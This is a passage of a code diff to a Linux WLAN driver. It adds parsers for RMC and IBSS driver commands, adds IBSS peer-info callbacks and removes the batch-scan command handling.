TID_MIN_VALUE 0 #define TID_MAX_VALUE 15 @@ -191,9 +200,27 @@ static VOS_STATUS hdd_parse_ese_beacon_req(tANI_U8 *pValue, #define WLAN_MAX_BUF_SIZE 1024 #define WLAN_PRIV_DATA_MAX_LEN 8192 +/* + * When ever we need to print IBSSPEERINFOALL for morethan 16 STA + * we will split the printing. + */ +#define NUM_OF_STA_DATA_TO_PRINT 16 + +#ifdef WLAN_FEATURE_RMC +#define WLAN_NLINK_CESIUM 30 +#endif + //wait time for beacon miss rate. #define BCN_MISS_RATE_TIME 500 +/* + * Android DRIVER command structures + */ +struct android_wifi_reassoc_params { + unsigned char bssid[18]; + int channel; +}; + static vos_wake_lock_t wlan_wake_lock; /* set when SSR is needed after unload */ @@ -203,6 +230,22 @@ static e_hdd_ssr_required isSsrRequired = HDD_SSR_NOT_REQUIRED; static VOS_STATUS wlan_hdd_framework_restart(hdd_context_t *pHddCtx); static void wlan_hdd_restart_init(hdd_context_t *pHddCtx); static void wlan_hdd_restart_deinit(hdd_context_t *pHddCtx); + +#ifdef WLAN_FEATURE_RMC +static void hdd_tx_fail_ind_callback(v_U8_t *MacAddr, v_U8_t seqNo); + +static int hdd_open_cesium_nl_sock(void); +static void hdd_close_cesium_nl_sock(void); +static struct sock *cesium_nl_srv_sock; +static v_U16_t cesium_pid; + +static int hdd_ParseIBSSTXFailEventParams(tANI_U8 *pValue, + tANI_U8 *tx_fail_count, + tANI_U16 *pid); + +static int hdd_ParseUserParams(tANI_U8 *pValue, tANI_U8 **ppArg); + +#endif /* WLAN_FEATURE_RMC */ void wlan_hdd_restart_timer_cb(v_PVOID_t usrDataForCallback); void hdd_set_wlan_suspend_mode(bool suspend); @@ -228,9 +271,8 @@ static VOS_STATUS hdd_parse_channellist(tANI_U8 *pValue, tANI_U8 *pChannelList, static VOS_STATUS hdd_parse_send_action_frame_data(tANI_U8 *pValue, tANI_U8 *pTargetApBssid, tANI_U8 *pChannel, tANI_U8 *pDwellTime, tANI_U8 **pBuf, tANI_U8 *pBufLen); -static VOS_STATUS hdd_parse_reassoc_command_data(tANI_U8 *pValue, - tANI_U8 *pTargetApBssid, - tANI_U8 *pChannel); +static int hdd_parse_reassoc_command_v1_data(const tANI_U8 *pValue, + tANI_U8 *pTargetApBssid, tANI_U8 *pChannel); #endif /* Store WLAN driver info in a global variable such that crash debugger @@ -393,6 +435,30 @@ static int con_mode; static int curr_con_mode; #endif +#ifdef WLAN_FEATURE_OFFLOAD_PACKETS +/** + * hdd_init_offloaded_packets_ctx() - Initialize offload packets context + * @hdd_ctx: hdd global context + * + * Return: none + */ +static void hdd_init_offloaded_packets_ctx(hdd_context_t *hdd_ctx) +{ + uint8_t i; + + mutex_init(&hdd_ctx->op_ctx.op_lock); + for (i = 0; i < MAXNUM_PERIODIC_TX_PTRNS; i++) + { + hdd_ctx->op_ctx.op_table[i].request_id = 0; + hdd_ctx->op_ctx.op_table[i].pattern_id = i; + } +} +#else +static void hdd_init_offloaded_packets_ctx(hdd_context_t *hdd_ctx) +{ +} +#endif + /**--------------------------------------------------------------------------- \brief hdd_vos_trace_enable() - Configure initial VOS Trace enable @@ -700,184 +766,121 @@ void hdd_checkandupdate_dfssetting( hdd_adapter_t *pAdapter, char *country_code) } -#ifdef FEATURE_WLAN_BATCH_SCAN - -/**--------------------------------------------------------------------------- - - \brief hdd_extract_assigned_int_from_str() - Extracts assigned integer from - input string - - This function extracts assigned integer from string in below format: - "STRING=10" : extracts integer 10 from this string - - \param - pInPtr Pointer to input string - \param - base Base for string to int conversion(10 for decimal 16 for hex) - \param - pOutPtr Pointer to variable in which extracted integer needs to be - assigned - \param - pLastArg to tell whether it is last arguement in input string or - not - - \return - NULL for failure cases - pointer to next arguement in input string for success cases - --------------------------------------------------------------------------*/ -static tANI_U8 * -hdd_extract_assigned_int_from_str -( - tANI_U8 *pInPtr, - tANI_U8 base, - tANI_U32 *pOutPtr, - tANI_U8 *pLastArg -) +#ifdef WLAN_FEATURE_RMC +static int hdd_parse_setrmcenable_command(tANI_U8 *pValue, tANI_U8 *pRmcEnable) { + tANI_U8 *inPtr = pValue; int tempInt; int v = 0; char buf[32]; - int val = 0; - *pLastArg = FALSE; + *pRmcEnable = 0; - pInPtr = strnchr(pInPtr, strlen(pInPtr), EQUALS_TO_ASCII_VALUE); - if (NULL == pInPtr) + inPtr = strnchr(pValue, strlen(pValue), SPACE_ASCII_VALUE); + /*no argument after the command*/ + if (NULL == inPtr) { - return NULL; + return 0; } - pInPtr++; - - while ((SPACE_ASCII_VALUE == *pInPtr) && ('\0' != *pInPtr)) pInPtr++; - - val = sscanf(pInPtr, "%32s ", buf); - if (val < 0 && val > strlen(pInPtr)) - { - return NULL; - } - pInPtr += val; - v = kstrtos32(buf, base, &tempInt); - if (v < 0) + /*no space after the command*/ + else if (SPACE_ASCII_VALUE != *inPtr) { - return NULL; + return 0; } - if (tempInt < 0) + + /*removing empty spaces*/ + while ((SPACE_ASCII_VALUE == *inPtr) && ('\0' != *inPtr)) inPtr++; + + /*no argument followed by spaces*/ + if ('\0' == *inPtr) { - tempInt = 0; + return 0; } - *pOutPtr = tempInt; - pInPtr = strnchr(pInPtr, strlen(pInPtr), SPACE_ASCII_VALUE); - if (NULL == pInPtr) + /* getting the first argument which enables or disables RMC + * for input IP v4 address*/ + sscanf(inPtr, "%32s ", buf); + v = kstrtos32(buf, 10, &tempInt); + if ( v < 0) { - *pLastArg = TRUE; - return NULL; + return -EINVAL; } - while ((SPACE_ASCII_VALUE == *pInPtr) && ('\0' != *pInPtr)) pInPtr++; - - return pInPtr; -} - -/**--------------------------------------------------------------------------- - \brief hdd_extract_assigned_char_from_str() - Extracts assigned char from - input string + *pRmcEnable = tempInt; - This function extracts assigned character from string in below format: - "STRING=A" : extracts char 'A' from this string + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "ucRmcEnable: %d", *pRmcEnable); - \param - pInPtr Pointer to input string - \param - pOutPtr Pointer to variable in which extracted char needs to be - assigned - \param - pLastArg to tell whether it is last arguement in input string or - not + return 0; +} - \return - NULL for failure cases - pointer to next arguement in input string for success cases - --------------------------------------------------------------------------*/ -static tANI_U8 * -hdd_extract_assigned_char_from_str -( - tANI_U8 *pInPtr, - tANI_U8 *pOutPtr, - tANI_U8 *pLastArg -) +/* Function header left blank Intentionally */ +static int hdd_parse_setrmcactionperiod_command(tANI_U8 *pValue, + tANI_U32 *pActionPeriod) { - *pLastArg = FALSE; + tANI_U8 *inPtr = pValue; + int tempInt; + int v = 0; + char buf[32]; + *pActionPeriod = 0; - pInPtr = strnchr(pInPtr, strlen(pInPtr), EQUALS_TO_ASCII_VALUE); - if (NULL == pInPtr) + inPtr = strnchr(pValue, strlen(pValue), SPACE_ASCII_VALUE); + /*no argument after the command*/ + if (NULL == inPtr) { - return NULL; + return -EINVAL; } - pInPtr++; - - while ((SPACE_ASCII_VALUE == *pInPtr) && ('\0' != *pInPtr)) pInPtr++; - - *pOutPtr = *pInPtr; - - pInPtr = strnchr(pInPtr, strlen(pInPtr), SPACE_ASCII_VALUE); - if (NULL == pInPtr) + /*no space after the command*/ + else if (SPACE_ASCII_VALUE != *inPtr) { - *pLastArg = TRUE; - return NULL; + return -EINVAL; } - while ((SPACE_ASCII_VALUE == *pInPtr) && ('\0' != *pInPtr)) pInPtr++; - - return pInPtr; -} + /*removing empty spaces*/ + while ((SPACE_ASCII_VALUE == *inPtr) && ('\0' != *inPtr)) inPtr++; -/**--------------------------------------------------------------------------- + /*no argument followed by spaces*/ + if ('\0' == *inPtr) + { + return 0; + } - \brief hdd_parse_set_batchscan_command () - HDD parse set batch scan command + /* getting the first argument which enables or disables RMC + * for input IP v4 address*/ + sscanf(inPtr, "%32s ", buf); + v = kstrtos32(buf, 10, &tempInt); + if ( v < 0) + { + return -EINVAL; + } - This function parses set batch scan command in below format: - WLS_BATCHING_SET followed by below arguements - "SCANFREQ=XX" : Optional defaults to 30 sec - "MSCAN=XX" : Required number of scans to attempt to batch - "BESTN=XX" : Best Network (RSSI) defaults to 16 - "CHANNEL=" : optional defaults to all channels, can list 'A'or` B. - A. implies only 5 GHz , B. implies only 2.4GHz - "RTT=X" : optional defaults to 0 - returns the MIN of MSCAN or the max # of scans firmware can cache or -1 on - error + /* Range checking for passed paramter */ + if (tempInt < WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY_STAMIN || + tempInt > WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY_STAMAX) + { + return -EINVAL; + } - For example input commands: - 1) WLS_BATCHING_SET SCANFREQ=60 MSCAN=10 BESTN=20 CHANNEL=A RTT=0 -> This is - translated into set batch scan with following parameters: - a) Frequence 60 seconds - b) Batch 10 scans together - c) Best RSSI to be 20 - d) 5GHz band only - e) RTT is equal to 0 + *pActionPeriod = tempInt; - \param - pValue Pointer to input channel list - \param - pHddSetBatchScanReq Pointer to HDD batch scan request structure + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "uActionPeriod: %d", *pActionPeriod); - \return - 0 for success non-zero for failure + return 0; +} - --------------------------------------------------------------------------*/ -static int -hdd_parse_set_batchscan_command -( - tANI_U8 *pValue, - tSirSetBatchScanReq *pHddSetBatchScanReq -) +/* Function header left blank Intentionally */ +static int hdd_parse_setrmcrate_command(tANI_U8 *pValue, + tANI_U32 *pRate, tTxrateinfoflags *pTxFlags) { tANI_U8 *inPtr = pValue; - tANI_U8 val = 0; - tANI_U8 lastArg = 0; - tANI_U32 nScanFreq; - tANI_U32 nMscan; - tANI_U32 nBestN; - tANI_U8 ucRfBand; - tANI_U32 nRtt; - tANI_U32 temp; - - /*initialize default values*/ - nScanFreq = HDD_SET_BATCH_SCAN_DEFAULT_FREQ; - ucRfBand = HDD_SET_BATCH_SCAN_DEFAULT_BAND; - nRtt = 0; - nBestN = HDD_SET_BATCH_SCAN_BEST_NETWORK; + int tempInt; + int v = 0; + char buf[32]; + *pRate = 0; + *pTxFlags = 0; - /*go to space after WLS_BATCHING_SET command*/ inPtr = strnchr(pValue, strlen(pValue), SPACE_ASCII_VALUE); /*no argument after the command*/ if (NULL == inPtr) @@ -897,864 +900,1400 @@ hdd_parse_set_batchscan_command /*no argument followed by spaces*/ if ('\0' == *inPtr) { - return -EINVAL; + return 0; } - /*check and parse SCANFREQ*/ - if ((strncmp(inPtr, "SCANFREQ", 8) == 0)) - { - inPtr = hdd_extract_assigned_int_from_str(inPtr, 10, - &temp, &lastArg); - - if (0 != temp) + /* + * getting the first argument which sets multicast rate. + */ + sscanf(inPtr, "%32s ", buf); + v = kstrtos32(buf, 10, &tempInt); + if ( v < 0) { - nScanFreq = temp; + return -EINVAL; } - if ( (NULL == inPtr) || (TRUE == lastArg)) + /* + * Validate the multicast rate. + */ + switch (tempInt) { + default: + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_WARN, + "Unsupported rate: %d", tempInt); return -EINVAL; - } + case 0: + case 6: + case 9: + case 12: + case 18: + case 24: + case 36: + case 48: + case 54: + *pTxFlags = eHAL_TX_RATE_LEGACY; + *pRate = tempInt * 10; + break; + case 65: + *pTxFlags = eHAL_TX_RATE_HT20; + *pRate = tempInt * 10; + break; + case 72: + *pTxFlags = eHAL_TX_RATE_HT20 | eHAL_TX_RATE_SGI; + *pRate = 722; /* fractional rate 72.2 Mbps */ + break; } - /*check and parse MSCAN*/ - if ((strncmp(inPtr, "MSCAN", 5) == 0)) - { - inPtr = hdd_extract_assigned_int_from_str(inPtr, 10, - &nMscan, &lastArg); + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "Rate: %d", *pRate); - if (0 == nMscan) - { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "invalid MSCAN=%d", nMscan); - return -EINVAL; - } + return 0; +} - if (TRUE == lastArg) - { - goto done; - } - else if (NULL == inPtr) - { - return -EINVAL; - } - } - else - { - return -EINVAL; - } - - /*check and parse BESTN*/ - if ((strncmp(inPtr, "BESTN", 5) == 0)) - { - inPtr = hdd_extract_assigned_int_from_str(inPtr, 10, - &temp, &lastArg); - - if (0 != temp) - { - nBestN = temp; - } +/**--------------------------------------------------------------------------- - if (TRUE == lastArg) - { - goto done; - } - else if (NULL == inPtr) - { - return -EINVAL; - } - } + \brief hdd_cfg80211_get_ibss_peer_info_cb() - Callback function for IBSS + Peer Info request - /*check and parse CHANNEL*/ - if ((strncmp(inPtr, "CHANNEL", 7) == 0)) - { - inPtr = hdd_extract_assigned_char_from_str(inPtr, &val, &lastArg); + This is an asynchronous callback function from SME when the peer info + is received - if (('A' == val) || ('a' == val)) - { - ucRfBand = HDD_SET_BATCH_SCAN_5GHz_BAND_ONLY; - } - else if (('B' == val) || ('b' == val)) - { - ucRfBand = HDD_SET_BATCH_SCAN_24GHz_BAND_ONLY; - } - else - { - ucRfBand = HDD_SET_BATCH_SCAN_DEFAULT_BAND; - } + \pUserData -> Adapter private data + \pPeerInfoRsp -> Peer info response - if (TRUE == lastArg) - { - goto done; - } - else if (NULL == inPtr) - { - return -EINVAL; - } - } + \return - 0 for success non-zero for failure + --------------------------------------------------------------------------*/ +static void +hdd_cfg80211_get_ibss_peer_info_cb(v_VOID_t *pUserData, v_VOID_t *pPeerInfoRsp) +{ + hdd_adapter_t *pAdapter = (hdd_adapter_t *)pUserData; + tSirPeerInfoRspParams *pPeerInfo = (tSirPeerInfoRspParams *)pPeerInfoRsp; + hdd_station_ctx_t *pStaCtx; + v_U8_t i; - /*check and parse RTT*/ - if ((strncmp(inPtr, "RTT", 3) == 0)) - { - inPtr = hdd_extract_assigned_int_from_str(inPtr, 10, - &nRtt, &lastArg); - if (TRUE == lastArg) - { - goto done; - } - if (NULL == inPtr) + /*Sanity check*/ + if ((NULL == pAdapter) || (WLAN_HDD_ADAPTER_MAGIC != pAdapter->magic)) { - return -EINVAL; - } - } - - -done: + hddLog(LOGE, + FL("invalid adapter or adapter has invalid magic")); + return; + } - pHddSetBatchScanReq->scanFrequency = nScanFreq; - pHddSetBatchScanReq->numberOfScansToBatch = nMscan; - pHddSetBatchScanReq->bestNetwork = nBestN; - pHddSetBatchScanReq->rfBand = ucRfBand; - pHddSetBatchScanReq->rtt = nRtt; + pStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); + if (NULL != pStaCtx && NULL != pPeerInfo && + eHAL_STATUS_SUCCESS == pPeerInfo->status) + { + pStaCtx->ibss_peer_info.status = pPeerInfo->status; + pStaCtx->ibss_peer_info.numIBSSPeers = pPeerInfo->numPeers; - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "Received WLS_BATCHING_SET with SCANFREQ=%d " - "MSCAN=%d BESTN=%d CHANNEL=%d RTT=%d", - pHddSetBatchScanReq->scanFrequency, - pHddSetBatchScanReq->numberOfScansToBatch, - pHddSetBatchScanReq->bestNetwork, - pHddSetBatchScanReq->rfBand, - pHddSetBatchScanReq->rtt); + /* Paranoia check */ + if (pPeerInfo->numPeers < HDD_MAX_NUM_IBSS_STA) + { + for (i = 0; i < pPeerInfo->numPeers; i++) + { + memcpy(&pStaCtx->ibss_peer_info.ibssPeerList[i], + &pPeerInfo->peerInfoParams[i], + sizeof(hdd_ibss_peer_info_params_t)); + } + hddLog(LOG1, + FL("Peer Info copied in HDD")); + } + else + { + hddLog(LOGE, + FL(" Number of peers %d returned is more than limit %d"), + pPeerInfo->numPeers, HDD_MAX_NUM_IBSS_STA); + } + } + else + { + hddLog(LOG1, + FL("peerInfo returned is NULL")); + } - return 0; -}/*End of hdd_parse_set_batchscan_command*/ + complete(&pAdapter->ibss_peer_info_comp); +} /**--------------------------------------------------------------------------- - \brief hdd_set_batch_scan_req_callback () - This function is called after - receiving set batch scan response from FW and it saves set batch scan - response data FW to HDD context and sets the completion event on - which hdd_ioctl is waiting + \brief hdd_cfg80211_get_ibss_peer_info_all() - - \param - callbackContext Pointer to HDD adapter - \param - pRsp Pointer to set batch scan response data received from FW + Request function to get IBSS peer info from lower layers - \return - nothing + \pAdapter -> Adapter context + \return - 0 for success non-zero for failure --------------------------------------------------------------------------*/ -static void hdd_set_batch_scan_req_callback -( - void *callbackContext, - tSirSetBatchScanRsp *pRsp -) +static +VOS_STATUS hdd_cfg80211_get_ibss_peer_info_all(hdd_adapter_t *pAdapter) { - hdd_adapter_t* pAdapter = (hdd_adapter_t*)callbackContext; - tSirSetBatchScanRsp *pHddSetBatchScanRsp; - - /*sanity check*/ - if (WLAN_HDD_ADAPTER_MAGIC != pAdapter->magic) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: Invalid pAdapter magic", __func__); - VOS_ASSERT(0); - return; - } - pHddSetBatchScanRsp = &pAdapter->hddSetBatchScanRsp; + tHalHandle hHal = WLAN_HDD_GET_HAL_CTX(pAdapter); + long status; + VOS_STATUS retStatus = VOS_STATUS_E_FAILURE; - /*save set batch scan response*/ - pHddSetBatchScanRsp->nScansToBatch = pRsp->nScansToBatch; + INIT_COMPLETION(pAdapter->ibss_peer_info_comp); - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, - "Received set batch scan rsp from FW with nScansToBatch=%d", - pHddSetBatchScanRsp->nScansToBatch); + retStatus = sme_RequestIBSSPeerInfo(hHal, pAdapter, + hdd_cfg80211_get_ibss_peer_info_cb, + VOS_TRUE, 0xFF); - pAdapter->hdd_wait_for_set_batch_scan_rsp = FALSE; - complete(&pAdapter->hdd_set_batch_scan_req_var); + if (VOS_STATUS_SUCCESS == retStatus) + { + status = wait_for_completion_interruptible_timeout + (&pAdapter->ibss_peer_info_comp, + msecs_to_jiffies(IBSS_PEER_INFO_REQ_TIMOEUT)); - return; -}/*End of hdd_set_batch_scan_req_callback*/ + /* status will be 0 if timed out */ + if (status <= 0) + { + hddLog(VOS_TRACE_LEVEL_WARN, "%s: Warning: IBSS_PEER_INFO_TIMEOUT %ld", + __func__, status); + retStatus = VOS_STATUS_E_FAILURE; + return retStatus; + } + } + else + { + hddLog(VOS_TRACE_LEVEL_WARN, + "%s: Warning: sme_RequestIBSSPeerInfo Request failed", __func__); + } + return retStatus; +} /**--------------------------------------------------------------------------- - \brief hdd_populate_batch_scan_rsp_queue () - This function stores AP meta - info in hdd batch scan response queue + \brief hdd_cfg80211_get_ibss_peer_info() - - \param - pAdapter Pointer to hdd adapter - \param - pAPMetaInfo Pointer to access point meta info - \param - scanId scan ID of batch scan response - \param - isLastAp tells whether AP is last AP in batch scan response or not + Request function to get IBSS peer info from lower layers - \return - nothing + \pAdapter -> Adapter context + \staIdx -> Sta index for which the peer info is requested + \return - 0 for success non-zero for failure --------------------------------------------------------------------------*/ -static void hdd_populate_batch_scan_rsp_queue( hdd_adapter_t* pAdapter, - tpSirBatchScanNetworkInfo pApMetaInfo, tANI_U32 scanId, v_BOOL_t isLastAp) +static VOS_STATUS +hdd_cfg80211_get_ibss_peer_info(hdd_adapter_t *pAdapter, v_U8_t staIdx) { - tHddBatchScanRsp *pHead; - tHddBatchScanRsp *pNode; - tHddBatchScanRsp *pPrev; - tHddBatchScanRsp *pTemp; - tANI_U8 ssidLen; + long status; + tHalHandle hHal = WLAN_HDD_GET_HAL_CTX(pAdapter); + VOS_STATUS retStatus = VOS_STATUS_E_FAILURE; - /*head of hdd batch scan response queue*/ - pHead = pAdapter->pBatchScanRsp; + INIT_COMPLETION(pAdapter->ibss_peer_info_comp); - pNode = (tHddBatchScanRsp *)vos_mem_malloc(sizeof(tHddBatchScanRsp)); - if (NULL == pNode) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: Could not allocate memory", __func__); - VOS_ASSERT(0); - return; - } + retStatus = sme_RequestIBSSPeerInfo(hHal, pAdapter, + hdd_cfg80211_get_ibss_peer_info_cb, + VOS_FALSE, staIdx); - vos_mem_copy(pNode->ApInfo.bssid, pApMetaInfo->bssid, - sizeof(pNode->ApInfo.bssid)); - ssidLen = strlen(pApMetaInfo->ssid); - if (SIR_MAX_SSID_SIZE < ssidLen) + if (VOS_STATUS_SUCCESS == retStatus) { - /*invalid scan result*/ - vos_mem_free(pNode); - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: Invalid AP meta info ssidlen %d", __func__, ssidLen); - return; - } - vos_mem_copy(pNode->ApInfo.ssid, pApMetaInfo->ssid, ssidLen); - /*null terminate ssid*/ - pNode->ApInfo.ssid[ssidLen] = '\0'; - pNode->ApInfo.ch = pApMetaInfo->ch; - pNode->ApInfo.rssi = pApMetaInfo->rssi; - pNode->ApInfo.age = pApMetaInfo->timestamp; - pNode->ApInfo.batchId = scanId; - pNode->ApInfo.isLastAp = isLastAp; + status = wait_for_completion_interruptible_timeout + (&pAdapter->ibss_peer_info_comp, + msecs_to_jiffies(IBSS_PEER_INFO_REQ_TIMOEUT)); - pNode->pNext = NULL; - if (NULL == pHead) - { - pAdapter->pBatchScanRsp = pNode; + /* status = 0 on timeout */ + if (status <= 0) + { + hddLog(VOS_TRACE_LEVEL_WARN, "%s: Warning: IBSS_PEER_INFO_TIMEOUT %ld", + __func__, status); + retStatus = VOS_STATUS_E_FAILURE; + return retStatus; + } } else { - pTemp = pHead; - while (NULL != pTemp) - { - pPrev = pTemp; - pTemp = pTemp->pNext; - } - pPrev->pNext = pNode; + hddLog(VOS_TRACE_LEVEL_WARN, + "%s: Warning: sme_RequestIBSSPeerInfo Request failed", __func__); } - return; -}/*End of hdd_populate_batch_scan_rsp_queue*/ - -/**--------------------------------------------------------------------------- + return retStatus; +} - \brief hdd_batch_scan_result_ind_callback () - This function is called after - receiving batch scan response indication from FW. It saves get batch scan - response data in HDD batch scan response queue. This callback sets the - completion event on which hdd_ioctl is waiting only after getting complete - batch scan response data from FW +/* Function header left blank Intentionally */ +VOS_STATUS +hdd_parse_get_ibss_peer_info(tANI_U8 *pValue, v_MACADDR_t *pPeerMacAddr) +{ + tANI_U8 *inPtr = pValue; + inPtr = strnchr(pValue, strlen(pValue), SPACE_ASCII_VALUE); - \param - callbackContext Pointer to HDD adapter - \param - pRsp Pointer to get batch scan response data received from FW + /*no argument after the command*/ + if (NULL == inPtr) + { + return VOS_STATUS_E_FAILURE;; + } - \return - nothing + /*no space after the command*/ + else if (SPACE_ASCII_VALUE != *inPtr) + { + return VOS_STATUS_E_FAILURE;; + } - --------------------------------------------------------------------------*/ -static void hdd_batch_scan_result_ind_callback -( - void *callbackContext, - void *pRsp -) -{ - v_BOOL_t isLastAp; - tANI_U32 numApMetaInfo; - tANI_U32 numNetworkInScanList; - tANI_U32 numberScanList; - tANI_U32 nextScanListOffset; - tANI_U32 nextApMetaInfoOffset; - hdd_adapter_t* pAdapter; - tpSirBatchScanList pScanList; - tpSirBatchScanNetworkInfo pApMetaInfo; - tpSirBatchScanResultIndParam pBatchScanRsp;/*batch scan rsp data from FW*/ - tSirSetBatchScanReq *pReq; + /*removing empty spaces*/ + while ((SPACE_ASCII_VALUE == *inPtr) && ('\0' != *inPtr) ) inPtr++; - pAdapter = (hdd_adapter_t *)callbackContext; - /*sanity check*/ - if ((NULL == pAdapter) || (WLAN_HDD_ADAPTER_MAGIC != pAdapter->magic)) + /*no argument followed by spaces*/ + if ('\0' == *inPtr) { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: Invalid pAdapter magic", __func__); - VOS_ASSERT(0); - return; + return VOS_STATUS_E_FAILURE;; } - /*initialize locals*/ - pReq = &pAdapter->hddSetBatchScanReq; - pBatchScanRsp = (tpSirBatchScanResultIndParam)pRsp; - isLastAp = FALSE; - numApMetaInfo = 0; - numNetworkInScanList = 0; - numberScanList = 0; - nextScanListOffset = 0; - nextApMetaInfoOffset = 0; - pScanList = NULL; - pApMetaInfo = NULL; - - if ((NULL == pBatchScanRsp) || (NULL == pReq)) + /*getting the first argument ie the peer mac address */ + if (inPtr[2] != ':' || inPtr[5] != ':' || inPtr[8] != ':' || + inPtr[11] != ':' || inPtr[14] != ':') { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: pBatchScanRsp is %p pReq %p", __func__, pBatchScanRsp, pReq); - isLastAp = TRUE; - goto done; + return VOS_STATUS_E_FAILURE;; } + sscanf(inPtr, "%2x:%2x:%2x:%2x:%2x:%2x", + (unsigned int *)&pPeerMacAddr->bytes[0], + (unsigned int *)&pPeerMacAddr->bytes[1], + (unsigned int *)&pPeerMacAddr->bytes[2], + (unsigned int *)&pPeerMacAddr->bytes[3], + (unsigned int *)&pPeerMacAddr->bytes[4], + (unsigned int *)&pPeerMacAddr->bytes[5]); - pAdapter->numScanList = numberScanList = pBatchScanRsp->numScanLists; - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "Batch scan rsp: numberScalList %d", numberScanList); + /* The command buffer seems to be fine */ + return VOS_STATUS_SUCCESS; +} - if ((!numberScanList) || (numberScanList > pReq->numberOfScansToBatch)) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: numberScanList %d", __func__, numberScanList); - isLastAp = TRUE; - goto done; - } +/* Function header left blank Intentionally */ +static int hdd_parse_set_ibss_oui_data_command(tANI_U8 *command, tANI_U8 *ie, + tANI_U32 limit) +{ + tANI_U8 len; + tANI_U8 data; - while (numberScanList) - { - pScanList = (tpSirBatchScanList)((tANI_U8 *)pBatchScanRsp->scanResults + - nextScanListOffset); - if (NULL == pScanList) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: pScanList is %p", __func__, pScanList); - isLastAp = TRUE; - goto done; - } - numNetworkInScanList = numApMetaInfo = pScanList->numNetworksInScanList; - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "Batch scan rsp: numApMetaInfo %d scanId %d", - numApMetaInfo, pScanList->scanId); + /* skip white space */ + while ((SPACE_ASCII_VALUE == *command) && ('\0' != *command)) + { + command++; + limit--; + } - if ((!numApMetaInfo) || (numApMetaInfo > pReq->bestNetwork)) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: numApMetaInfo %d", __func__, numApMetaInfo); - isLastAp = TRUE; - goto done; - } + /* skip element id and element length */ + len = 2; - /*Initialize next AP meta info offset for next scan list*/ - nextApMetaInfoOffset = 0; + /* extract oui */ + while ((SPACE_ASCII_VALUE != *command) && ('\0' != *command) && + (limit > 1)) + { + /* Convert ASCII to decimal */ + data = ((*command -'0') << 4) | (*(command + 1) - '0'); + ie[len++] = data; + command += 2; + limit -= 2; + } - while (numApMetaInfo) - { - pApMetaInfo = (tpSirBatchScanNetworkInfo)(pScanList->scanList + - nextApMetaInfoOffset); - if (NULL == pApMetaInfo) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: pApMetaInfo is %p", __func__, pApMetaInfo); - isLastAp = TRUE; - goto done; - } - /*calculate AP age*/ - pApMetaInfo->timestamp = - pBatchScanRsp->timestamp - pApMetaInfo->timestamp; + /* skip white space */ + while ((SPACE_ASCII_VALUE == *command) && ('\0' != *command)) + { + command++; + limit--; + } - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, - "%s: bssId "MAC_ADDRESS_STR - " ch %d rssi %d timestamp %d", __func__, - MAC_ADDR_ARRAY(pApMetaInfo->bssid), - pApMetaInfo->ch, pApMetaInfo->rssi, - pApMetaInfo->timestamp); + /* extract data */ + while ((SPACE_ASCII_VALUE != *command) && ('\0' != *command) && + (limit > 1)) + { + /* Convert ASCII to decimal */ + data = ((*command -'0') << 4) | (*(command + 1) - '0'); + ie[len++] = data; + command += 2; + limit -= 2; + } - /*mark last AP in batch scan response*/ - if ((TRUE == pBatchScanRsp->isLastResult) && - (1 == numberScanList) && (1 == numApMetaInfo)) - { - isLastAp = TRUE; - } + /* fill element id and element length */ + ie[0] = IE_EID_VENDOR; + ie[1] = len - 2; - mutex_lock(&pAdapter->hdd_batch_scan_lock); - /*store batch scan repsonse in hdd queue*/ - hdd_populate_batch_scan_rsp_queue(pAdapter, pApMetaInfo, - pScanList->scanId, isLastAp); - mutex_unlock(&pAdapter->hdd_batch_scan_lock); + return len; +} - nextApMetaInfoOffset += sizeof(tSirBatchScanNetworkInfo); - numApMetaInfo--; - } +static tANI_U32 hdd_find_ibss_wpa_ie_pos(tANI_U8 *addIePtr, tANI_U32 addIeLen) +{ + tANI_U32 ieLenPresent = 0; + int left = addIeLen; + v_U8_t *ptr = addIePtr; + v_U8_t elem_id,elem_len; - nextScanListOffset += ((sizeof(tSirBatchScanList) - sizeof(tANI_U8)) - + (sizeof(tSirBatchScanNetworkInfo) - * numNetworkInScanList)); - numberScanList--; + while(left >= 2) + { + elem_id = ptr[0]; + elem_len = ptr[1]; + left -= 2; + if(elem_len > left) + { + hddLog(LOGE, + FL("****Invalid elem_len=%d left=%d*****"), + elem_len,left); + return 0; + } + if ((elem_id == IE_EID_VENDOR) && + (left >= WPA_OUI_TYPE_SIZE)) + { + if (!memcmp(&ptr[2], WPA_OUI_TYPE, + WPA_OUI_TYPE_SIZE)) + { + ieLenPresent += elem_len + 2; + return ieLenPresent; + } + } + ieLenPresent += (elem_len + 2); + left -= elem_len; + ptr += (elem_len + 2); } + return 0; +} -done: - - /*notify hdd_ioctl only if complete batch scan rsp is received and it was - requested from hdd_ioctl*/ - if ((TRUE == 